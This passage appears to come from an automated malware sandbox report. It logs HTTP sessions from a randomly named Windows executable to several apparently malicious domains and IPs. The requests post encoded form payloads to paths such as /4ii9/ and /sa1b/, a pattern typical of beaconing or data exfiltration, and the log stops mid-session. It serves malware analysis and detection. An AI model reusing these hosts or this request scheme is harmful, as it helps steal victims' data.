Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:37:12.246458054 CET	1814	OUT	POST /4ii9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.happyjam.life Origin: http://www.happyjam.life Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1236 Referer: http://www.happyjam.life/4ii9/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 4f 41 69 66 59 57 2b 6c 50 64 46 64 71 68 56 67 6f 73 4c 78 6f 64 65 4a 62 37 4e 49 58 79 49 74 6a 35 70 46 7a 58 4b 68 4d 67 79 56 66 2b 55 59 4d 46 75 58 59 54 33 34 53 42 37 2f 63 76 57 6d 46 78 6e 63 49 32 61 41 62 42 4f 39 79 70 31 47 76 5a 5a 33 30 6e 51 46 30 68 48 38 57 75 78 35 6f 38 73 61 53 6d 5a 73 46 39 59 42 4c 6a 72 31 70 39 7a 58 6a 6d 38 45 32 57 64 48 44 56 46 69 30 34 35 63 49 61 65 43 43 6d 57 41 34 69 42 74 2b 70 55 5a 56 70 79 69 6b 68 45 41 57 36 2b 59 31 6c 79 72 59 2f 48 33 55 63 31 33 43 69 56 41 4e 52 79 4c 68 6e 74 32 30 30 70 48 77 39 75 31 50 30 45 59 68 71 6b 4b 35 5a 44 36 41 2f 51 67 41 79 35 56 4c 4d 6f 4a 31 52 6e 71 6b 4d 78 49 73 70 5a 65 71 57 68 51 41 34 57 79 41 47 43 37 50 4e 74 75 50 6a 54 75 45 46 68 39 57 4c 35 6f 35 65 62 66 50 7a 67 43 53 48 77 69 55 6e 63 6a 37 32 32 65 4d 4c 57 76 7a 37 36 48 70 52 2b 49 48 68 71 59 47 4c 37 32 4b 76 46 77 48 50 59 4d 52 42 65 6d 63 75 76 73 57 33 73 6a 30 50 45 6e 64 43 53 6f 50 54 7a 62 44 6d [TRUNCATED] Data Ascii: BHptZ6F=OAifYW+lPdFdqhVgosLxodeJb7NIXyItj5pFzXKhMgyVf+UYMFuXYT34SB7/cvWmFxncI2aAbBO9yp1GvZZ30nQF0hH8Wux5o8saSmZsF9YBLjr1p9zXjm8E2WdHDVFi045cIaeCCmWA4iBt+pUZVpyikhEAW6+Y1lyrY/H3Uc13CiVANRyLhnt200pHw9u1P0EYhqkK5ZD6A/QgAy5VLMoJ1RnqkMxIspZeqWhQA4WyAGC7PNtuPjTuEFh9WL5o5ebfPzgCSHwiUncj722eMLWvz76HpR+IHhqYGL72KvFwHPYMRBemcuvsW3sj0PEndCSoPTzbDmXxSmxBNK6ieO7EMUui/0yygEuN5esYI7CqcoLTSyr9F1FK7jL48zItNc6V3LexpL7Vd1vE30hYADm2rlebuT7fQiHKq6wQRdr/qX50UyOT9Vs2r+bys707rEhwZF0aiJeOs9V0A76of8Rg2bZMpHQJG76hTF/Si3lBKfU4FEGAx1kj/p0xwxo7ift8/RvPUiG6fjB79rYzFLBKfz5Pdx/Eu3BEEqk/6c2PpBa41PSQuGyTho3xC9hyf/cUz2dAzqE3yvkIM+T4YoRZyAW8kCcfdYKb83j/Q3+E3fjA3N1wVKcamoX06fANlrgTWHgEA3LJd7qYNPamOV29G/xmlmY/0AZuqQGdFnu917Dv+bZLEvi3lRTvyw+SaliigCi64gKgPW5tsjT79b6mfnfKmYUEz+Z40te/2Ss91SYvXKql5i2lFFSVF03GsfJhtvI5FcVDbzRZoyiZrELNijilXuk/d+T2mmpwcpD7WEph+jWArbQyHSn8JDvA8Elb3ONGy+oSVv7eckB1QI9Uv41f9mQZT8z0giFYDWMPUkDOD+Ubo3b6TJkl5wuKFWKqkyTGRqFdtf7QRidQDKoku0goFI6RWgZu/wuhaBds5e6zDsu0WF/9dy24mCB2+DI4fAm4cClEsx8ykX2PMdUx0diYmpUgA4c1LNlC45BJ [TRUNCATED]
Dec 6, 2024 17:37:13.493470907 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:37:13 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.12	49772	209.74.77.107	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:37:14.911601067 CET	515	OUT	GET /4ii9/?RZ=0nkpmZbx9Z4P2&BHptZ6F=DCK/bgCIPtpt2RJApr/S57a5c6dyUmc4/YRC2H7mEi+GV8MabGqvART7ZhzmedatEBHVT2HbXE2R9ehhzokwzGc74R/EcNhRi8s6fgxoYqpZFSK7yfL6tiw= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.happyjam.life Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Dec 6, 2024 17:37:16.122333050 CET	548	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:37:15 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.12	49789	38.47.207.164	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:37:21.828545094 CET	769	OUT	POST /sa1b/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.t19yd.top Origin: http://www.t19yd.top Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 204 Referer: http://www.t19yd.top/sa1b/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 61 61 76 70 57 66 2f 44 4d 74 6b 38 2b 69 6d 46 77 4b 70 48 6b 48 43 7a 52 71 37 53 4b 4f 4b 44 63 65 75 68 48 35 54 36 6f 6d 44 6d 35 35 67 6f 47 2b 59 37 56 56 38 33 51 57 42 62 35 6d 56 64 6d 79 2f 74 53 67 6f 62 58 78 43 6e 2b 73 35 62 46 50 5a 52 62 44 6f 6b 34 74 79 59 45 62 58 33 63 6e 55 51 5a 2f 4c 69 78 41 39 31 65 72 79 4b 6c 59 6b 73 62 76 49 41 38 74 5a 34 4f 4c 2b 6b 35 58 42 58 75 59 2b 62 4d 55 7a 59 35 65 4b 46 73 53 38 32 48 44 50 6f 6a 77 44 38 70 70 34 2f 6d 30 66 61 78 45 4f 53 2f 73 68 37 31 6c 4e 56 59 70 4a 30 35 6b 71 6b 6b 32 64 54 65 7a 48 42 51 77 3d 3d Data Ascii: BHptZ6F=aavpWf/DMtk8+imFwKpHkHCzRq7SKOKDceuhH5T6omDm55goG+Y7VV83QWBb5mVdmy/tSgobXxCn+s5bFPZRbDok4tyYEbX3cnUQZ/LixA91eryKlYksbvIA8tZ4OL+k5XBXuY+bMUzY5eKFsS82HDPojwD8pp4/m0faxEOS/sh71lNVYpJ05kqkk2dTezHBQw==
Dec 6, 2024 17:37:23.345650911 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 06 Dec 2024 16:37:23 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "6693de8b-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.12	49794	38.47.207.164	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:37:24.490030050 CET	789	OUT	POST /sa1b/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.t19yd.top Origin: http://www.t19yd.top Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 224 Referer: http://www.t19yd.top/sa1b/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 61 61 76 70 57 66 2f 44 4d 74 6b 38 34 43 32 46 79 74 64 48 69 6e 43 77 66 4b 37 53 45 75 4b 48 63 65 53 68 48 37 2b 69 72 55 58 6d 35 59 77 6f 48 38 67 37 59 31 38 33 4a 6d 42 61 33 47 56 73 6d 79 7a 66 53 69 38 62 58 77 69 6e 2b 75 78 62 46 38 68 65 59 7a 6f 6d 7a 4e 79 57 4b 37 58 33 63 6e 55 51 5a 2f 76 49 78 42 56 31 5a 62 69 4b 6e 39 49 6a 53 50 49 50 6f 39 5a 34 4b 4c 2b 65 35 58 42 31 75 5a 69 39 4d 57 62 59 35 63 53 46 73 6e 49 33 4d 44 50 75 75 51 43 75 6e 38 41 78 68 58 48 4f 73 33 6e 79 68 76 64 4e 39 44 41 50 48 62 42 69 73 6e 2b 70 70 68 6b 6a 54 77 36 49 4c 30 65 35 6a 77 4b 35 6b 4e 31 30 71 56 6b 71 38 38 79 6d 68 68 34 3d Data Ascii: BHptZ6F=aavpWf/DMtk84C2FytdHinCwfK7SEuKHceShH7+irUXm5YwoH8g7Y183JmBa3GVsmyzfSi8bXwin+uxbF8heYzomzNyWK7X3cnUQZ/vIxBV1ZbiKn9IjSPIPo9Z4KL+e5XB1uZi9MWbY5cSFsnI3MDPuuQCun8AxhXHOs3nyhvdN9DAPHbBisn+pphkjTw6IL0e5jwK5kN10qVkq88ymhh4=
Dec 6, 2024 17:37:26.010193110 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 06 Dec 2024 16:37:25 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "6693de8b-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.12	49800	38.47.207.164	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:37:27.162319899 CET	1802	OUT	POST /sa1b/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.t19yd.top Origin: http://www.t19yd.top Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1236 Referer: http://www.t19yd.top/sa1b/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 61 61 76 70 57 66 2f 44 4d 74 6b 38 34 43 32 46 79 74 64 48 69 6e 43 77 66 4b 37 53 45 75 4b 48 63 65 53 68 48 37 2b 69 72 55 50 6d 34 71 6f 6f 49 39 67 37 5a 31 38 33 42 47 42 66 33 47 56 4c 6d 79 36 57 53 69 68 6d 58 30 53 6e 2f 4c 39 62 4f 74 68 65 50 6a 6f 6d 38 74 79 58 45 62 58 69 63 6a 34 55 5a 2f 66 49 78 42 56 31 5a 5a 71 4b 75 49 6b 6a 55 50 49 41 38 74 59 33 4f 4c 2f 78 35 57 6b 58 75 5a 6d 4c 50 6d 37 59 35 38 43 46 38 42 55 33 42 44 50 73 67 77 44 72 6e 38 46 7a 68 55 6a 34 73 32 53 6c 68 6f 78 4e 35 32 68 70 58 4b 6b 38 77 52 36 5a 37 53 6b 52 57 67 69 58 45 56 69 73 73 53 32 46 70 59 78 44 74 48 6c 30 35 5a 2b 41 7a 78 63 38 79 35 32 34 51 70 4c 6e 78 2b 59 61 6d 31 31 39 74 58 7a 34 42 58 32 50 54 4f 49 50 51 41 69 65 73 76 50 51 72 59 6c 62 64 36 48 36 75 43 7a 58 6d 34 57 41 65 47 48 54 70 4c 6f 5a 70 31 6d 36 4a 50 35 78 77 61 4d 6f 59 77 30 34 57 58 64 57 67 78 42 50 34 62 53 61 6e 79 46 52 46 48 6a 76 42 6e 45 64 55 4e 6b 6d 31 4a 2b 63 6a 51 4b 64 59 70 [TRUNCATED] Data Ascii: BHptZ6F=aavpWf/DMtk84C2FytdHinCwfK7SEuKHceShH7+irUPm4qooI9g7Z183BGBf3GVLmy6WSihmX0Sn/L9bOthePjom8tyXEbXicj4UZ/fIxBV1ZZqKuIkjUPIA8tY3OL/x5WkXuZmLPm7Y58CF8BU3BDPsgwDrn8FzhUj4s2SlhoxN52hpXKk8wR6Z7SkRWgiXEVissS2FpYxDtHl05Z+Azxc8y524QpLnx+Yam119tXz4BX2PTOIPQAiesvPQrYlbd6H6uCzXm4WAeGHTpLoZp1m6JP5xwaMoYw04WXdWgxBP4bSanyFRFHjvBnEdUNkm1J+cjQKdYplvotbBKiXa2xDtZZb2yP6GFoYG70VAU1d7oj/XqOtyaLKfbmP17JAJmE3IcJmHxnR83JxCkZiWB+gcA7b9maQSXAc5T1WLNmlYAokznNeEXUcu8GgaPgTmRPnJ+05jKnv/0UB/yvBfS8PJaxQ0iRvgd0qe7P73t5XL+e2lCwbadfg/8ipV4iPWl7hpnIHD183vQoKYdi3JQUZB3NKOo72GQoN3+sJx4A3M+onXtSjEHXa7/89YV0k1jyYSTUqiVe08JWbJ2j6niIoE1m7ihwEksvJunmnIaajxXIII39e1WiDhfztag/HDDy+gzMLiUsh14PbkLPKLFN0uma95FSE82ZdEde+p3g8g4uB7DGXdd4lWfytyiXB2pPN64N0z9bXeSH+v8KEjWeOL7Gwz2CeQf+jzHLEK64rTLCUQxAC1ERHdlYfSr+RrpWN2z9O84lffIieVLMegB2bx8vauDVNF1OHRMVeB4Fc8yDr6a3VzXpY4s6db92896U90smR1s8P0n9PCrEZDlw3RLO6OqjEJMy7dQx4nP9bsDmxY1M0W8FspE425mzxJBM7XQVwItsC88HLige8ausk1r36skzySl+PZdBY+23JNjgKNR2Q1vVSHKyflv1u1zJ+G65qoI/lLl6WBMIxkeW3gahEJ50W2hR7/SoZvpc7V [TRUNCATED]
Dec 6, 2024 17:37:28.696182013 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 06 Dec 2024 16:37:28 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "6693de8b-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.12	49809	38.47.207.164	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:37:29.829133987 CET	511	OUT	GET /sa1b/?BHptZ6F=XYHJVoT0LuIOm26Tyq9N91avW6u0HKWTSvSmIrnltmLk6JYzFfgCVHRXJm9nnHtkqw/GQg9hdUic1chKWcYHIwgC/tmXBuLbW2sUc5PcpWY1XILnhN44V5I=&RZ=0nkpmZbx9Z4P2 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.t19yd.top Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Dec 6, 2024 17:37:31.396498919 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 06 Dec 2024 16:37:31 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "6693de8b-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.12	49827	208.115.225.220	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:37:37.583045006 CET	790	OUT	POST /gua3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.atendefacil.info Origin: http://www.atendefacil.info Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 204 Referer: http://www.atendefacil.info/gua3/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 43 47 73 52 51 5a 44 31 63 32 4c 54 54 35 68 65 6c 77 53 53 53 53 53 77 6d 2b 35 5a 62 55 4f 66 45 58 69 56 74 42 55 55 5a 4a 69 6f 6d 6f 74 6a 69 69 52 61 30 32 4b 6e 48 7a 49 35 33 55 74 66 50 6d 69 4b 69 65 53 67 65 52 69 78 46 33 39 53 57 64 6b 38 72 31 6e 70 46 33 47 36 6d 72 6c 64 4d 4b 37 72 4a 66 4d 74 55 44 37 59 48 48 61 2f 70 61 7a 34 6e 68 2f 2b 6c 4f 57 2b 33 63 69 42 79 65 78 37 6f 39 33 48 47 4b 53 4b 41 4a 4f 7a 68 58 43 75 6c 6a 45 7a 49 63 77 54 46 64 35 46 47 73 63 78 4d 50 62 48 55 49 53 57 35 4e 58 34 46 47 70 48 4b 67 34 43 2b 55 61 43 52 53 72 33 78 77 3d 3d Data Ascii: BHptZ6F=CGsRQZD1c2LTT5helwSSSSSwm+5ZbUOfEXiVtBUUZJiomotjiiRa02KnHzI53UtfPmiKieSgeRixF39SWdk8r1npF3G6mrldMK7rJfMtUD7YHHa/paz4nh/+lOW+3ciByex7o93HGKSKAJOzhXCuljEzIcwTFd5FGscxMPbHUISW5NX4FGpHKg4C+UaCRSr3xw==
Dec 6, 2024 17:37:38.720045090 CET	481	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:37:38 GMT Server: Apache/2 Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.12	49833	208.115.225.220	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:37:40.258650064 CET	810	OUT	POST /gua3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.atendefacil.info Origin: http://www.atendefacil.info Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 224 Referer: http://www.atendefacil.info/gua3/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 43 47 73 52 51 5a 44 31 63 32 4c 54 53 59 52 65 70 7a 36 53 5a 53 53 76 73 65 35 5a 42 6b 4f 62 45 58 75 56 74 46 4e 5a 5a 66 79 6f 6e 4c 35 6a 6a 6a 52 61 7a 32 4b 6e 50 54 49 38 7a 55 74 71 50 6d 6e 33 69 65 75 67 65 52 32 78 46 30 70 53 58 75 63 2f 78 46 6e 72 4f 58 47 43 37 62 6c 64 4d 4b 37 72 4a 66 5a 47 55 43 54 59 48 58 71 2f 6f 37 7a 33 37 